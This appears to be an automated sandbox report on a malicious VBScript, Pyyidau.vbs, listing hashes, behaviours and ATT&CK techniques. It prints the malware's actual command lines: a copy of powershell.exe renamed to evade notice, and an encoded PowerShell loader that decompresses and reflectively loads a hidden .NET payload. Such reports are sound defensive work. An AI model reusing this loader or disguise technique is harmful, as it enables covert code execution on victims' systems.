484c7f54d1b5a6fbbb5cbcf0a01a3b7b9ddb77a7bfbd859cf68bb29b686db80c

General

Target

Pyyidau.vbs
Size

8.4MB
MD5

c1108260f7a287cb16f93c11a40fbf90
SHA1

8eab07aef27baae17d1ce013cce58b2b43dcaa1d
SHA256

484c7f54d1b5a6fbbb5cbcf0a01a3b7b9ddb77a7bfbd859cf68bb29b686db80c
SHA512

59d3023cc0287ff45894bbcce2175c8fda7a36b2f1687ab7b93fb49a578e38f874587bed0e3d69eff1a20deb4f20fc27c1155026bd962d007c9b0e8c028edc0c
SSDEEP

49152:1uld2u6UP5rpZxEeMuatPwmOI06dzq5kz9zV7AujEy4q7YcGqaLjt1yLQ+RZyBvd:+P5j

Score

10^/10

discovery

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2920	2108	cmd.exe	30

Executes dropped EXE 1 IoCs

pid	Process
2940	Pyyidau.vbs.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Pyyidau.vbs.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2940	Pyyidau.vbs.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2940	Pyyidau.vbs.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2932 wrote to memory of 2940	2932	WScript.exe	33
PID 2932 wrote to memory of 2940	2932	WScript.exe	33
PID 2932 wrote to memory of 2940	2932	WScript.exe	33
PID 2932 wrote to memory of 2940	2932	WScript.exe	33

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Pyyidau.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2932
- C:\Users\Admin\AppData\Local\Temp\Pyyidau.vbs.exe
  "C:\Users\Admin\AppData\Local\Temp\Pyyidau.vbs.exe" -enc JABBAHEAdwB3AHMAYwAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBHAGUAdABDAHUAcgByAGUAbgB0AFAAcgBvAGMAZQBzAHMAKAApAC4ATQBhAGkAbgBNAG8AZAB1AGwAZQAuAEYAaQBsAGUATgBhAG0AZQAuAFIAZQBwAGwAYQBjAGUAKAAnAC4AZQB4AGUAJwAsACcAJwApADsAJABHAHkAaQBlAHAAZwBrAHcAdgByACAAPQAgAGcAZQB0AC0AYwBvAG4AdABlAG4AdAAgACQAQQBxAHcAdwBzAGMAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ATABhAHMAdAAgADEAOwAgACQAWABzAGwAbQB3AG0AbwBxAGcAawB6ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAEcAeQBpAGUAcABnAGsAdwB2AHIALgBSAGUAcABsAGEAYwBlACgAJwBSAEUATQAgACcALAAgACcAJwApAC4AUgBlAHAAbABhAGMAZQAoACcAQAAnACwAIAAnAEEAJwApACkAOwAkAEkAdwBxAGIAdwBjACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAIAAsACAAJABYAHMAbABtAHcAbQBvAHEAZwBrAHoAIAApADsAJABFAG0AYgBtAGUAcwBqAHMAbAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQAUgB3AHAAdQB4AHcAYQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACAAJABJAHcAcQBiAHcAYwAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAUgB3AHAAdQB4AHcAYQAuAEMAbwBwAHkAVABvACgAIAAkAEUAbQBiAG0AZQBzAGoAcwBsACAAKQA7ACQAUgB3AHAAdQB4AHcAYQAuAEMAbABvAHMAZQAoACkAOwAkAEkAdwBxAGIAdwBjAC4AQwBsAG8AcwBlACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAgACQAWABzAGwAbQB3AG0AbwBxAGcAawB6ACAAPQAgACQARQBtAGIAbQBlAHMAagBzAGwALgBUAG8AQQByAHIAYQB5ACgAKQA7AFsAQQByAHIAYQB5AF0AOgA6AFIAZQB2AGUAcgBzAGUAKAAkAFgAcwBsAG0AdwBtAG8AcQBnAGsAegApADsAIAAkAE4AZgBrAGYAZwB0AHQAcgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABoAHIAZQBhAGQAaQBuAGcALgBUAGgAcgBlAGEAZABdADoAOgBHAGUAdABEAG8AbQBhAGkAbgAoACkALgBMAG8AYQBkACgAJABYAHMAbABtAHcAbQBvAHEAZwBrAHoAKQA7ACAAJABBAHYAZgBuAHgAdQBrAG4AcgBtAG0AIAA9ACAAJABOAGYAawBmAGcAdAB0AHIALgBFAG4AdAByAHkAUABvAGkAbgB0ADsAIABbAFMAeQBzAHQAZQBtAC4ARABlAGwAZQBnAGEAdABlAF0AOgA6AEMAcgBlAGEAdABlAEQAZQBsAGUAZwBhAHQAZQAoAFsAQQBjAHQAaQBvAG4AXQAsACAAJABBAHYAZgBuAHgAdQBrAG4AcgBtAG0ALgBEAGUAYwBsAGEAcgBpAG4AZwBUAHkAcABlACwAIAAkAEEAdgBmAG4AeAB1AGsAbgByAG0AbQAuAE4AYQBtAGUAKQAuAEQAeQBuAGEAbQBpAGMASQBuAHYAbwBrAGUAKAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2940

C:\Windows\system32\cmd.exe
cmd /c copy "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "C:\Users\Admin\AppData\Local\Temp\Pyyidau.vbs.exe" /Y
1⤵
- Process spawned unexpected child process
PID:2920

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Pyyidau.vbs.exe

Filesize
442KB

MD5
92f44e405db16ac55d97e3bfe3b132fa

SHA1
04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d

SHA256
6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7

SHA512
f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f

Download Submit
memory/2940-4-0x0000000002D90000-0x0000000002DD0000-memory.dmp

Filesize
256KB

Download

Analysis

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